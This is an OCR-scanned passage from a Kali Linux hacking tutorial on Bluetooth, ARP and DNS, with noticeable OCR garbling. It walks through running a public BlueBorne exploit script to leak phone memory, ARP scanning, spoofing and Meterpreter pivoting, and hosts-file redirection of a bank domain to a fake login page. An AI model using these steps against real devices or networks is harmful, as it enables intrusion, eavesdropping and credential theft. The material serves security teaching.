(HCI). This provides a command interface to the baseband controller, link manager, and access to
hardware status and control registers, hence the name of the tools above, such as hciconfig, hcidump,
and hcitool.

Bluetooth Security

Bluetooth security is based on a few techniques. First frequency hopping. Both the master and slave
know the frequency hopping algorithm, but the outsider does not. Second, a pre-shared key is
exchanged at a pairing that is used for authentication and encryption (128-bit).

There are three security modes for Bluetooth. These are:

1. Security Mode 1: No active security.
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2. Security Mode 2: Service level security. A centralized security manager handles
authentication, configuration, and authorization. May not be activated by a user. No device-

level security.

3. Security Mode 3: Device level security. Authentication and encryption based on the secret
key. Always on. Enforces security for low-level connection.

Master and Slave Security Policy

Interaction

Master
Security Mode 1 Security Mode 2 Security Mode 3
Security No authentication or An application on the The link is authenticated
Mode 1 encryption. master can demand auth- | and optionally encrypted,
entication and encryption; | depending on the master's
the slave must support sacurity policy,
authentication {encryption
is optional).
Security An application on the If an application on either | The link is authenticated,
2  Mode?2 slave can demand auth- | device demands it, the link | and if the master security
= entication or authentica- | will be authenticated or | policy or the application on
tion and encryption; the | authenticated and the slave demands it, the
master must support encrypted, link will be encrypted,
authentication (encryption
is optional). ‘
Security The link will be authenti- | The link will be authentica-| The link is authenticated
Mode 3 cated if the slave security| ted and, if the slave secur- | and, if sither the master or

policy demands it, and
tha link will be encrypted
if the master supports it

Bluetooth Hacking Tools in Kali

ity policy or the application
on the master demands it,
gncrypted.

slave security policy
demands it, encrypted,

We have several Bluetooth hacking tools built into Kali that we will be using throughout this series,
as well as others that we will need to download and install. We can find the installed Bluetooth tools
by going to Applications -> Kali Linux -> Wireless Attacks -> Bluetooth Tools.

There, we will find several tools for attacking Bluetooth. Let's take a brief look at each of them.

e Bluelog: A bluetooth site survey tool. It scans the area to find as many discoverable devices

in the area and then logs them to a file.

e Bluemaho: A GUI-based suite of tools for testing the security of Bluetooth devices.
e Blueranger: A simple Python script that uses i2cap pings to locate Bluetooth devices and

determine their approximate distances.
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e Btscanner: This GUI-based tool scans for discoverable devices within range.
o Redfang: This tool enables us to find hidden Bluetooth device.
e Spooftooph: This is a Bluetooth spoofing tool.

Some Bluetooth Attacks

o Blueprinting: The process of footprinting.

o Bluesnarfing: This attack takes data from the Bluetooth-enabled device. This can include
SMS messages, calendar info, images, the phone book, and chats.

e Bluebugging: The attacker can take control of the target's phone. Bloover was developed as a
POC tool for this purpose.

e Bluejacking: The attacker sends a "business card" (text message) that, if the user allows it to
be added to their contact list, enables the attacker to continue to send additional messages.

¢ Bluesmack: A DoS attack against Bluetooth devices.

Now that we have a basic understanding of Bluetooth terms, technologies, and security, we can begin
to explore ways to break and hack Bluetooth.

When BlueTooth was first introduced in 1994 by Ericcson Corporation of Sweden, it was very
insecure. Hackers could steal information and send unsolicited messages to the unsuspecting.

In recent years, additional security has been built-in into the protocol, and much of the IT
security industry has sat back and said, "It's fixed and unhackable." On the other hand, I maintain
that BlueTooth is and will remain one of the most vulnerable protocols, making all our data on
our BlueTooth-enabled devices vulnerable to being hacked.

The BlueBourne Attack

In recent years, Armis Security has released a number of exploits against unpatched BlueTooth
devices. You can read more about it here. These exploits are capable of attacking iOS (but not
10S 10), Microsoft Windows, and Android. Nearly every company has issued patches, but for a
number of reasons many Android systems are still unpatched.

The exploit attacks the SDP protocol of the BlueTooth stack (see below). The exploit
masquerades as a BlueTooth device and is able to exploit vulnerabilities in SDP. The BlueTooth
device does not even need to be in discover mode, and it only needs to ON. Since BlueTooth has
access to the inner sanctum of the kernel, nearly everything is vulnerable.
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In this section, we will look at how to extract data from an unpatched BlueTooth device using the
BlueBorne exploit.

Getting Started

The first step, of course, must be an unpatched device. I will be using an older LG phone I keep
in my lab just for this purpose.

Of course, you will need a BlueTooth adapter to communicate with your target. There are a
number of BlueTooth adapters that are Linux compatible, but I will be using one from Pluggable
that is Plug-n-Play compatible with our Kali Linux operating system.

Next, we need to install the dependencies into our Kali system.

kali > apt-get install bluetooth libbluetooth-dev

root@kali:/# apt-get install bluetooth libbluetooth-dev
eading package lists... Done

Building dependency tree
Reading state information... Done

kali > pip install pybluez

root@kali:/# pip install pybluexl

kali > pip install pwntools
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Install the Python Script
Although Armis developed these exploits, they have not released them to the public. Fortunately,
a security researcher has developed a python script based on the Armis research. You can find it

at github.com. Simply clone it into your system as below.

kali > git clone https://github.com/ojasookert/CVE-2017-0785

root@kali:/# git clone https://github.com/0ojascokert/CVE-2017-0785
Cloning into 'CVE-2017-0785'...
remote: Counting objects: 4, done.

remote: Total 4 (delta 0), reused @ (delta @), pack-reused 4
Unpacking objects: 100% (4/4), done.
root@kali:/#

After cloning it, you will see a new directory created, CVE-2017-0785.

root@kali:~
52

drwxr

Arwxr-xr-x
drwxr-xr-x
drwxr-xr-x

Navigate to that directory and do a long listing (Is -1). You will see a README.md file and the
python script CVE-2017-078S.py

kali > ¢d CVE-2017-0785

root fg}-;: ali:~
total 8

-rw-r--r-- 1 root root 1080 Oct 19 19:11 CVE-2017-0785.py
-rw-r--r-- 1 root root 341 Oct 19 19:11 README.md

You will need to give yourself execute permissions on this script.

kali > chmod 755 CVE-2017-0785.py

Get the MAC address of the Target

Now that we have our dependencies met and installed the Python script, the only left to be done

is to obtain the MAC address of the target system. As I demonstrated above, we can scan for
BlueTooth devices with the hcitool.
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kali > hcitool scan

1li:~# hcitool scan

This utility will go out and scan for any available BlueTooth devices within range. As you can
see, it found my LG phone. I have obscured the MAC address to protect the innocent.

Execute the BlueBourne Exploit

Now, we have everything we need to exploit the BlueTooth device and extract its memory. To
run the exploit, we simply enter python, the name of the script, and TARGET= followed by the
mac address of the target system.

kali > python CVE-2017-785.py TARGET=<MAC ADDRESS of Target>

:~/Desktop# python CVE-2017-0785.py TARGET=
[+] Exploit: Done
PDOOOOOOO

POOOOOS0
elplalelelelsle)

slelelelelople)

POOOOOBO

lelelolelelelo

DOOO00Ba0

J00000bO

POOOOOCO

POOOOOdO

POOOO0eO

)00000TO

pOOOO100

pOOeO110

J0000120

POOOO130

pOOOO140 64
ppOOO150 4d 28 25
)0000160 64

pOOOOL70 : 3e 43 3b 45

The python script has exploited the target and removed the first 30 bytes from memory! Of
course, we can edit the script to extract even more memory.
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BlueTooth hacking has been a relatively quiet field for a number of years, but I expect it to heat
up now, making all our mobile devices vulnerable.

Exercises

1. Install Bluez, if it is not already installed on your system
2. Use the hciconfig tool to find the MAC address of your Bluetooth adapter
3. Use hcitool to scan for other Bluetooth devices in your range
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Chapter 7

Address Resolution Protocol(ARP)
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Understanding the many network protocols can
enhance your ability to gain information and access
your target. Address Resolution Protocol (or ARP as it
is commonly known) is used on Ethernet networks to
assign [P addresses to globally unique MAC
addresses. In this way, when a new system enters the
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network, its MAC address is assigned an IP address within the range of IP addresses on the
network. This is the method that network devices such as gateways, routers, and switches know
which machine has which IP address and can route the traffic destined for that IP address ( a
logical system) to the proper physical machine (MAC or physical address).

If the attacker understands ARP, they can leverage the ARP protocol to find systems on the
network and even imitate and gain access to a particular systems traffic through Man-in-the-
Middle attacks.

How ARP Works

ARP uses a simple message format sent over the link layer and network layer (Layers 2 and 3 of
the OSI model). This message contains one request or one response. For example, assume two
computers on an Ethernet LAN. Computer 1 needs to send a packet to computer 2. Computer 1
knows that Computer 2's IP address is 192.168.1.101. To send the packet to computer 2, it needs
the physical address of computer two or its MAC address.

Computer 1 can find the MAC address of computer two by doing a lookup in the ARP table. The
ARP table is a mapping of known physical addresses to logical addresses (MAC to IP). If
computer 1 finds the MAC address of Computer 2 in the ARP table, it goes ahead and sends the
packet to the MAC address of computer 2. If it doesn't find the corresponding MAC in the ARP
table, it sends out a broadcast ARP request to every computer on the network asking, "Who has
IP address 192.168.1.101?". Computer 2 will then send a unicast (1 to 1) response saying, "I
have 192.168.1.101, and my MAC address is 11:22:33:44:55:66!". Now Computer 1 can send
the packet to MAC address 11:22:33:44:55:66.

The ARP Command

The arp command is found in both Windows and Linux systems. With it, you can discover the
contents of the arp table and even manipulate this table.

In Windows, simply enter;

> arp -a
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As you can see above, the Windows operating system displays the contents of the arp table. This
table contains the IP address, the Physical or MAC address, and the type (either static or
unchanging and dynamic or changing).

A similar command exists in Linux. Let's look at it next,

Similarly to Windows, when you enter arp -a (all), Linux displays the arp table but without the
designation of static v dynamic.

kali > sudo arp -a

:~$ sudo arp -a
? (192.168.42.11) at 88:b6:ee:7c:eb:ab [ether] on eth®

7 (192.168.1.101) at 00:0c:29:e9:a7:e4 [ether] on etho
? (192.168.42.1) at 00:80:ae:b6:ef:7f [ether] on etho
? (192.168.42.10) at 88:b6:ee:7c:eb:ab [ether] on etho
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When we enter arp with the -v option, Linux displays the same information in a better-formatted
table and includes the flags mask indicating what Class of the IP address is used.

kali > sudo arp -v

:~$ sudo arp -v
Address Hwtype HWaddress Flags Mask
192.168.42.11 ether 88:b6:ee:7c:eb:ab C

192.168.1.101 ether 00:0c:29:e9:a7:e4 C
192.168.42.1 ether 00:80:ae:b6:ef:7f C
192.168.42.10 ether 88:b6:ee:7c:eb:ab C
Entries: & Skipped: @ Found: 4

ARP Packets in Wireshark

We can view the arp packets in Wireshark by simply entering the word "arp" in the filter window
like below.

FETS - o X
Ta H8a WVew G Capbete  Raayie  Wlabdi Teliphaay  Weeleid  Tebh Wl

W E RER«=@FLAT EaqaaD
LIC] L — bl bl ki il kil ] | Ereman. 4
- Teg Lt gt

L T )

Tk @, TLNE
ST R T

THD L6124
LT 29643440
BT 2 TR

43 Wb has 1H2.1440.188.10
a1 ke b 180168100010 Fell

< b
Frass 3580 42 Byues on wire (33 BAvE). AT byter Coptersd (A3E Bins) on Enveriete &
Aharmet <1 A1fs_sarbores (ShrobicarssiSoree], Bt IorETiflabishdrbe (0c0ETTIaRLrRdre)
Addeqrr Berolvtbon Protocel {request)

When we click on a single packet, we can dissect the packet. Expanding the Address Resolution
Protocol field, we can see the Sender and Target IP and MAC addresses.
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» Frame 218: 42 bytes on wire (336 bits), 42 bytes captured (336 bits) con interface @

Ethernet II, Src: Alfa_sa:5c:ee (88:cB:ica:aa:5c:ee), Dst: 3c:67:78:81:9d:ba (3c:67:f8:01:9d:ba)

v Address Resolution Proteocol (request)
Hardware type: Ethernet (1)
Protocel type: IPwd (@x@8e@)
Hardware size: 6
Frotocol size: 4
Opcode: request (1)
Sender MAC address: Alfa_aa:Sciee (@@:c@:caiaa:Scies)
Sender IP address: 192.168.100.105 (192.168.108.165)
Target MAC address: 3c:67:18:81:9d:ba (3c:67:T8:81:9d:ba)
Target IP address: 192.165.18@.1 (192.165.1ee.1)

How Hackers Can Use ARP for Reconnaissance

The ARP protocol has no authentication, so the hacker can easily use this "feature" to discover

all the systems on a network. This can be useful when trying to hack another system on the local
area network (LAN) or when you compromise a single user on the network and want to pivot to

a more valuable target on the network, such as a database server.

There are numerous tools the hacker can use to discover systems on the network. These tools
send out a gratuitous ARP request, and systems respond with their IP address and MAC. For
instance, in our Kali system, we have netdiscover.

To view netdiscover's help screen, simply enter;

kali > sudo netdiscover -h

:~$ sudo netdiscover -h

[sudo] password for kali:
Netdiscover 0.6 [Active/passive ARP reconnaissance tool]
Written by: Jaime Penalba <jpenalbaeagmail.com>

Usage: netdiscover [-i device] [-r range | -1 file | -p] [-m filel [-F filter] [-s time] [-c count] [-n node
1 [-dfPLNs]

-i
=T
=L
-p
=
-F
=5
=C
=M
-d
-f
-p
-L
-N
-5

device: vaiir network device

range: scan a given range instead of auto scan. 192.168.6.0,/24,/16,/8

tile: scan the List of ranges contained into the given file

passive mode: do not send anything, only sniff

file: scan a list of known MACs and host names

filter: customize pcap filter expression (default: “arp")

time: time to sleep between each ARP request (milliseconds)

count: number of times to send each ARP request (for nets with packet loss)
node: last source IP octet used for scanning (from 2 to 253)

ignore home config files for autoscan and fast mode

enable fastmode scan, saves a lot of time, recommended for auto

print results in a format switable for parsing by amother program and stop after active scan
similar to -P but continue listening after the active scan is completed

Do not print header. Only valid when =P or =L is enabled.

enable sleep time suppression between each request (hardcore mode)

If -r, -1 or -p are not enabled, netdiscover will scan for common LAN addresses.
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As you can see above, we can use the -r option to scan a range of IP addresses on a network,
such as;

Kkali > netdiscover -r 192.168.100.0/24

Currently scanning: Finished! | Screen View: Unique Hosts

22 Captured ARP Req/Rep packets, from 10 hosts. Total size: 1320

MAC Address MAC Vendor / Hostname

192.168.42.1

192.168.42.2 :6a:bo:
192.168.42 .4 11a:04:
192.168.42.8 :e3:7a:
192.168.42.3 1f7:3d:
192.168.42.15 10c:29:
192.168.42.11 :bb:ee:
192.168.42.22 :b6:ee:
192.168.42.6 i7c:2d:
192.168.42.10 :bb6:ee:

HUGHES NETWORK SYSTEMS
Arcadyan Corporation

Liteon Technology Corporation
Intel Corporate

Amazon Technologies Inc.
VMware, Inc.

Dish Technologies Corp

Dish Technologies Corp
Samsung Electronics Co.,Ltd
Dish Technologies Corp

PR ERNRRRERNRER

As you can see above, netdiscover enumerates every system on the network with its IP address,
MAC address, and vendor of the network interface (NIC).

ARP Vulnerabilities and Exploitation

ARP can also be used to conduct a Man-in-the-Middle (MiTM) attack. Remember, IP addresses
are assigned to physical interfaces (MAC addresses) via the ARP protocol. Attackers can send
out gratuitous ARP requests to have their computer designated as the location of the specific IP
address the target is trying to reach, thereby placing themselves in the middle between the target
and the intended server. This is known as arpspoofing. In this way, they can eavesdrop on the
target's traffic or even alter it.
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Ettercap is an easy-to-use arp spoofing tool for MiTM attacks. To learn more about Ettercap,
click here (https://www.hackers-arise.com/post/2017/08/28/MiTM-Attack-with-Ettercap).

Other tools that utilize ARP for MitM attacks include;

1. arpspoof (https://www.hackers-arise.com/post/2017/07/25/man-the-middle-mitm-attack-

with-arpspoofing)
2. driftnet (https://www.hackers-arise.com/post/2017/09/27/MitM-Using-driftnet-to-View-the-

Targets-Graphics-Files)

File Sniff Options ?

L1
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Start Targets Hosts View 11| Filters Logging FPlugins ?

[m Arp poisoning...

+ lemp redirect...
IP Address MAC Address

0.0.0.0 08:00:27:46:¢
192.168.1.1 00:25:9C:97:4

Port stealing...

Dhep spoofing...

BEPSUERRUEREVRHTE:  Stop mitm attack(s)

192.168.1.104 74:C2:46:9E:AD:AD

Leveraging ARP in the Metasploit Meterpreter

The Address Resolution Protocol (ARP) can also be leveraged by the Metasploit Meterpreter (for
more on Metasploit, see my book Metasploit Basics for Hackers on Hackers-Arise) to discover
systems to pivot to after exploiting a single system on the network. As you know, once a single
system on the network has been compromised, the attacker can use that system as a foothold in
the network and then work to compromise more important systems on the network, such as the
file server or database server.

The meterpreter has a script and a post-exploitation module that enables the attacker to discover
the other systems on the network by sending out gratuitous ARP requests on the network and
waiting for the responses.

meterpreter > run arp_scanner -r 192.168.89.0/24
ARP Scanning 192.168.89.0/24
IP: 192.168.89.193 MAC 00:0¢c:29:56:bb:d5

IP: 192.168.89.191 MAC 00:0c:29:65:8a:bl
IP: 192.168.89.190 MAC 00:0¢c:29:34:33:57
meterpreter >

For more on Metasploit for hacking, check out my Metasploit Basics for Hackers series here.
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Summary
The Address Resolution Protocol (ARP) is an essential protocol for assigning logical IP

addresses to physical MAC addresses. If the attacker understands the ARP protocol, they can
leverage its capabilities for reconnaissance or even conducting a Man-in-the-Middle attack.

Exercises
1. Use the arp command to discover your arp table

2. Use netdiscover to find other systems on your LAN
3. Create a filter in Wireshark to view only arp packets
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Chapter 7

Domain Name Service (DNS)

NS

main Nome System

The Domain Name System or DNS is one of
those network protocols that make the world go
round. Without it, we would need to remember
innumerable IP addresses just to navigate to our
favorite websites. Imagine trying to remember
the IPv4 (32-bit) addresses of Facebook,
Amazon, and Hackers-Arise, just to visit each
of those critically important websites (only
made worse by IPv6 128-bit addresses).
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DNS was designed to translate a domain name--something people are rather good at
remembering--into an IP address, the language of Internet Routing. Think of DNS as simply a
translation of a domain name to the respective IP addresses. So, when you enter a domain such
as www.hackers-arise.com into your browser, it is translated into a computer-friendly IP address
(23.236.62.147 ) that the Internet can understand and route.

In this chapter on DNS, we examine;

I. How Domain Names work

II. How DNS works,

III. A Packet-level Analysis of DNS requests and responses,

IV. Vulnerabilities and security in DNS,

V. Build your own DNS server in Linux.

Domain Names

Domain names must be registered with ICANN (Internet Corporation for Assigned Names and
Numbers), usually through an intermediary such as VeriSign or GoDaddy. Top Level Domains

or TLD's include .com, .edu, .org, and many others that we typically see at the end of a Fully
Qualified Domain Name (FQDN).

Top Level
A
.com .net .edu ‘ .org .info
/\
.redhat .opensource .duke .unc .ncsu Zones
| .chem .phys .div .chem

DNS works in a hierarchical manner. The Top Level Domains or TLD's can have multiple sub-
domains under them. In the diagram above, both .redhat and .cnn are part of the Top Level
Domain .com. A subdomain is a domain that is part of a larger domain. In this example, redhat
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and cnn are often just referred to as the domain in common parlance but are actually the Second
Level Domain or (SLD) under .com.

Then, beneath these SLD's or commonly referred to domains, we have many subdomains. For
instance, within and beneath .redhat, we might have sales. redhat, engineering .redhat,
development. redhat. This is a method of subdividing the domain. The left-most portion is
always the most specific, while the right-most is the most general.

Fully Qualified Domain Name

A fully qualified domain or FQDN is what many people refer to as an absolute domain name. A
Full Qualified Domain Name (FQDN) specifies its location from the absolute root of the DNS
system.

Now that we have a basic understanding of domain names, the next issue to understanding how
DNS translates domain names to IP addresses. Initially, clients used a simple hosts file on each
client.

Host Files

When the Internet was very, very small (in a universe far, far away...), the association of domain
names with IP addresses could fit into a single text file (ARPANET, the predecessor, and
prototype of the internet, had just four sites). This single text file was then and is now referred to
as a hosts file. As the Internet grew larger, this hosts file proved inadequate. It was neither large
enough, nor could it be constantly updated as new domains were registered and old ones left or
changed. Despite this, your system still probably still has a hosts file.

On your Kali Linux system, your hosts file is located in the /etc directory as seen below. You can
open it by entering;

kali> mousepad /etc/hosts

localhost
kali

192.168.56.101 bankofamerica.conm

# The following lines are desirable for IPv6 capable hosts
15 | localhost 1p6-localhost ip6-loopback

ff02::1 1p6-allnodes

ffo2::2 1p6-allrouters
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Note that each IP address is on the same line as the associated host, in this case localhost or Kali.
Whenever you enter localhost in your browser, it translates it to your "home" IP or 127.0.0.1.

On the fourth line of my hosts file here, you will see an association of the private IP address
192.168.1.114 to the domain bankofamerica.com. With this hosts file in place, whenever I enter
www.bankofamerica.com in my browser, [ would be directed to the IP address 192.168.56.101,
rather than the actual IP address of Bank of America at 171.159.228.150.

I can test by pinging bankofamerica.com.

:~% ping bankofamerica.com
PING bankofamerica.com (192.168.56.101) 56(84) bytes of data.
64 bytes from bankofamerica.com (192.168.56.101): icmp_seq=1 ttl=64 time=0.
018 ms
64 bytes from bankofamerica.com (192.168.56.101): icmp_seq=2 ttl=64 time=0.

@52 ms
64 bytes from bankofamerica.com (192.168.56.101): icmp_seq=3 ttl=64 time=0.
@27 ms
64 bytes from bankofamerica.com (192.168.56.101): icmp_seq=4 ttl=64 time=0.

As you can see above, when I then try to ping www.bankofamerica.com, my ping is directed to
the address associated with bankofamerica in my hosts file. The hosts file takes precedence over
DNS queries. This can be a key bit of information when attempting to do DNS spoofing on a
LAN (see below).

e = C @ @ £ bankafamerica.com o @ Ty W @
£ Most Visited & Offensive Security @ Kali Linux @ KaliDocs S KaliTools = Exploit-DB Wy Alrcrack-ng @ Kali Forums &) NetHunter b

This is the NEW Bank of America Website! Welcome!

Welcome to our new website

Please log in here

Avatar
Username | Enter Username Password  Enter Password Login | ) Remember me

[[ cancet Forgot password?
This is how DNS was operated when the Internet was very, very small.
How DNS Works
Now that the Internet contains billions of IP addresses and FQDN, the host file is woefully

inadequate. Enter DNS. First developed by Paul Mockapetris (now in the Internet Hall of Fame)
in 1983, DNS is both distributed and dynamic, unlike our hosts file.
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DNS does not rely upon one file or one server, but instead upon many files across many server
across the globe. These servers are organized in a hierarchical manner. Due to this distributed
nature, the DNS system is resistant to outages of one or many of these servers.

HOW DNS WORKS

Where is download.
beta.example.com? |-

D 1 don't know, but try asking the .com
authoritative server, at IP address___

Local Where is download,

DNS beta.cxample.com? N
o Serve! .com Top-Level
- |- ;
y __Where is download, _ = P I Domain DNS Server
i 1 beta.example.com? 1 I'don't know,

Where isdownload.  but fry asking the .com
betaexample.com? autherirative server, at IP address___

‘+ There is no host i
- by that name [

i example.com
I don’t know, but try asking |l =1 Al ENI )

the .com authoritative DNS Server
server, at IP address___

Where is download.
eta.example.com?
%@ beta.example.com

| am authoritative for Authoritative

beta.example.com, and =
I know of no host named H DNS Server

“download”

As we can see in the diagram above, the user asks (queries) the local DNS server to access
download.beta.example.com. The local DNS server does not have that resource as it is new. It
then queries the root server. The root server responds, "I don't know," but refers the local DNS
server to the IP address of the authoritative server for the top-level domain (TLD), in this case,
.com. The local DNS server will then query the TLD server for .com, and it will respond with the
authoritative server for the domain, in this case, example.com. The local DNS server will then
query the authoritative server for beta.example.com. If it has the record, it will return the
resource (IP address), and if not, it will respond it "doesn't know."

DNS Components

The DNS service has four (4) components;

1. DNS Cache

2. Resolvers,

3. Name servers,

4. Name space.

DNS Cache
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This term is often confused as it has at least two meanings. First, the DNS cache can be the list of
names and IP addresses that you have already queried and have been resolved and are cached for
you so that no network traffic is generated to resolve them (and much quicker). The second
meaning regards a DNS server that simply performs recursive queries and caching without
actually being an authoritative server itself.

2. Resolvers

Resolvers are any hosts on the Internet that need to look up domain information, such as the
computer you are using to read this website.

3. Name Servers

These are servers that contain the database of names and IP addresses and servers' DNS requests
for clients.

4. Name Space

Name space is the database of IP addresses and their associated names.

b. Zone Files and Records

Every DNS zone has a zone file. This zone file may be thought of as a DNS database.

These zone files have one or more resource records. These DNS records must be periodically
updated as new domains are added, changed, and others dropped. Without this process, the
system would remain stagnant and eventually be completely out of date. Therefore, it is essential
that the DNS server be capable of zone transfers.

1. Resource Records

A Resource Record is a single record that describes just one piece of information in the DNS
database. These records are simple text lines such as;

Owner TTL Class Type RDATA

Each of these fields must be separated by at least one space.

2. Common Resource Record Types

SOA Records

The Start of Authority, or SOA, is a mandatory record in all zone files. It must be the first real
record in a file (although SORIGIN or $TTL specifications may appear above). It is also one of

the most complex to understand. The fields include the primary name server, the email of the
administrator, the domain number, and timers for refreshing the zone.
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NS Records
NS or name server identifies the authoritative DNS server for the zone.
A Records

The A (Address) record is used to map a domain or subdomain to an IPv4 address. For instance,
hackers-arise.com points to 23.236.62147.

AAAA records point to an IPv6 record.

CNAME (Canonical) records

The CName or canonical name maps one domain or subdomain to another domain name.
PTR records

PTR Records are used in reverse DNS records (i.e., from IP address to hostname). PTR or
Pointer points to a canonical name, and just the name is returned in the query. You might think

of these as the reverse of A or AAAA records.

MX Records

The MX record directs mail to a specific mail server responsible for accepting mail in the zone.

Like CNAME, the MX record must always point to a domain and never an IP address.

SuLiA Evang

@b ork

DNS record types

DNS ien't jusf for
IP addresses

There are about 30
types of DNS records.
Here are a few of the
most common.

A

An IPv4 address.
Example: 1.2.3.4

Every time you go to a
website, your browser
looks up its A (or AAAA)
record.

CNAME

A hostname.
Example: you.github.io

Redirects DNS queries to
that hostname instead.

MX

Where to send email.

Example: 5 email.example.com

NS

Authoritative nameserver.

Example: a.iana-servers.net

TXT

Can be any string.
Example: I'm a banana

For anything that doesn't

have its own record type.

It's used for domain
verification and SPF/DKIM

(which we'll explain later).

CAA

Certificate authority rules.
Example: @ issue "digicert.com"

AAAA

An IPvé address. Example:
2606:4700:3035: : AC43: : 85DE
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Packet Level Analysis of DNS Queries

The DNS protocol, like other communication protocols our networks use, has a standard packet
structure. It's fairly simple, and you can view it below without going into great detail here.
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If we capture DNS queries with Wireshark, we should see something like the capture below.
Notice that a DNS query is sent from the client, and the DNS response comes from the DNS

server.
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It's also important to note that these queries use UDP and not TCP (zone transfers use TCP).

If we expand the DNS packets, we can see that they come in two varieties, Standard Query, as

seen below...

Length: 42
Checksum: @8x7374 [unverified]
[Checksum Status: Unverified]
[Stream index: @]

v Domain Name System (query)
Transaction ID: @x6408
Flags: @x@1e@ Standard query <:
Questions: 1
Answer RRs: @
Authority RRs: @
Additional RRs: @
Queries
[Response In: 2]
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..and a LS_te_mgiggd_Qy_e;_‘y Response, as seen below.

¥ Domain Name System (response)
Transaction ID: Bx6488
Flags: @x818@ Standard query response, No error 1:::::]
Questions: 1
Answer RRs: 1
Authority RRs: @
Additicnal RRs: @
Queries
Answers

DNS Security and Vulnerabilities

The Domain Name Service was once very fragile and vulnerable to attack. Over the years, the
system has been hardened, and attacks are more infrequent but still occur. In some cases, the
hackers/attackers can simply harvest information from the DNS servers on the target, such as
DNS scanning and DNS recon (see Abusing DNS for Reconnaissance).

On local area networks (LAN), it may be possible to spoof DNS with tools such as dnsspoof to
send client traffic to a local system of the hacker's choice. For instance, the attacker could send
all the banking traffic to their malicious site and harvest credentials there.

DNS Vulnerabilities

Although among the most malicious attacks on DNS would be changing your DNS server (A
Record) and changing where your client is taken when requesting a website, these are
increasingly rare but not unheard of (see Iranian DNS attacks below). Increasingly, successful
attacks against DNS are Denial of Service (DOS) attacks.

While on most systems and protocols, DoS attacks are an inconvenience, with such an essential
service as DNS, a DoS attack can be crushing. Imagine if your business or ISP's DNS server
went down. Although the Internet would still be functioning (you could ping any IP address),
you would not be able to connect to any sites without entering their full IP address (or changing
your DNS server).

If we view the list of BIND (a Linux implementation of DNS) vulnerabilities in the CVE
database, we can see the vast majority of the vulnerabilities in recent years are DoS attacks.
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Among the most malicious DNS attacks would be the zone transfer. A zone is the data that maps
IP addresses to domains. If an attacker can change that information on a DNS server, even
Internet traffic would be re-directed to their website, causing all types of mischief.

Changing DNS Server Settings

Another type of attack against the DNS system would be to simply change the setting that directs
the DNS queries to another malicious DNS server. In a way, this really isn't technically an attack
against DNS but rather an attack against internal credentials and servers, such as the mail server.
You can read below the details of an attack U.S. CERT warned against in early 2019 where
credentials of the sysadmin (or another user with authority to change DNS records) redirect
users' DNS queries to their malicious DNS Server.
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Technical Details
Using the following techniques, attackers have redirectad and intercepted wekb and mail traffic, and could do so for other natworked services

1. The attacker beging by compromising user credentials, or ablaining them through alermale means, of an accouwnt that can make changes to DNS records

2. Naxt, the attacker alters DNS records, like Address (A), Mail Exchanger (MX), or Name Sarver (N5) records, replacing the legitimate address of a service
with an address the altacker controls. This enables them o direct user fraffic 1o their own infrastructure for manipulation er inspection before passing it on to
the lagitimale service, should thay choose. This craates a rizk that parsists beyond the pariod of traflic rediraction.

3. Because the attacker can sat DNS record valuas, they can also obtain valid encryplion centificalas for an erganization’s domain namas. This aliews the
rediracted traffic to ba decrypted, &xposing any usar-submitied data. Sincé the cartificate is vaBd for the domain, ¢nd usars recive no &rraf Wamings

Recently a group of Iranian hackers was able to attack the DNS of multiple companies in order
to harvest credentials. They did this in at least three different ways;

1. Attackers change DNS records for the victim's mail server to redirect it to their own email
server. Attackers also use Let's Encrypt certificates to support HTTPS traffic and a load balancer
to redirect victims back to the real email server after they've collected login credentials from
victims on their shadow server

2. Same as the first, but the difference is where the company's legitimate DNS records are being
modified. In the first technique, attackers changed DNS A records via an account at a managed
DNS provider, while in this technique, attackers changed DNS NS records via a TLD (domain
name) provider account

3. Sometimes also deployed as part of the first two techniques. This relies on deploying an
"attacker operations box" that responds to DNS requests for the hijacked DNS record. If the DNS
request (for a company's mail server) comes from inside the company, the user is redirected to
the malicious server operated by attackers, but if the request comes from outside the company,
the request is directed to the real email server.

DNS Security or DNSSec
DNS, by default, is NOT secure. DNS can be easily spoofed due to the fact that DNS is based on
UDP, which is not connection-oriented. DNSSEC, or DNS Security Extensions, was developed

to strengthen the authentication in DNS by using digital signatures.

Every DNS zone has a public/private key. Any recursive resolver that looks up data in the zone
also retrieves the zone's public key, which can be used to validate the authenticity of the data.

Before DNSSec, it was possible for malicious actors to execute zone transfers on DNS servers.
This would poison the data making it unreliable. DNSSEC prevents this by;

1. Cryptographically verifying that the data it receives actually comes from the zone it believes it
should come from;

2. Ensuring the integrity of the data so that the data can't be altered en route as the data must be
digitally signed by the private key of the zone.

Building a DNS (BIND) Server in Linux
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Now that we understand the basics of how DNS works and how attackers might use DNS in their
attacks let's set up a DNS server in our Linux system. BIND or Berkeley Internet Domain
System is commonly used on Linux systems, is the most widely used DNS server on the Internet,
and is among the best DNS systems.

Although setting up and configuring a BIND server is a profession in itself, here we will attempt
to set a simple, basic BIND server on our local area network (LAN) to help you understand the
functioning of these servers.

First, let's download and install bind9 from the repository.
kali > apt-get install bind9

:~/bind9# apt-get install bind9

Reading package lists... Done

Building dependency tree

Reading state information... Done

The following packages were automatically installed and are no longer required:
glusterfs-common ibverbs-providers libacll-dev libattrl-dev
libboost-randoml.62.0 libcephfsl libibverbsl librdmacml libunbound2
python-jwt

Use 'apt autoremove' to remove them.

The following additional packages will be installed:
bind9utils 1libbind9-161 libc-bin libc-dev-bin libc-116n 1libc6é libc6-dbg
libch-dev 1libc6-i386 libdns1104 libgssapi-krb5-2 libiscllee libiscccl6l
libisccfglé3 libkrb5-3 libkrb5support® liblwresl6l locales locales-all

Suggested packages:
bind9-doc resolvconf ufw glibc-doc krb5-doc krb5-user

The following NEW packages will be installed:

bind9 bind9utils 1libbind9-161 libdns1184 libiscl11lee libiscccl61 libisccfgl63
lihlwrecl1il

If bind9 is not in your repository, you can get it directly from the ISC.org reposority using git
clone.

kali > git clone https://gitlab.isc.org/isc-projects/bind9.git

:~# git clone https://gitlab.isc.org/isc-projects/bind9.git
Cloning into 'bind9'...
remote: Enumerating objects: 552240, done.

remote: Counting objects: 100% (552240/552240), done.
remote: Compressing objects: 100% (94753/94753), done.
eceiving objects: 13% (74880/552240), 14.03 MiB | 841.00 KiB/s

2. Next, let's open the configuration file for BIND at /etc/bind/named.conf.options (all
configuration files for BIND are located at /etc/bind).

kali > leafpad /etc/bind/named.conf.options
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options {
directory "/var/cache/bind";

// If there is a firewall between you and nameservers you want
// to talk to, you may need to fix the firewall to allow multiple
// ports to talk. See http://www.kb.cert.org/vuls/id/800113

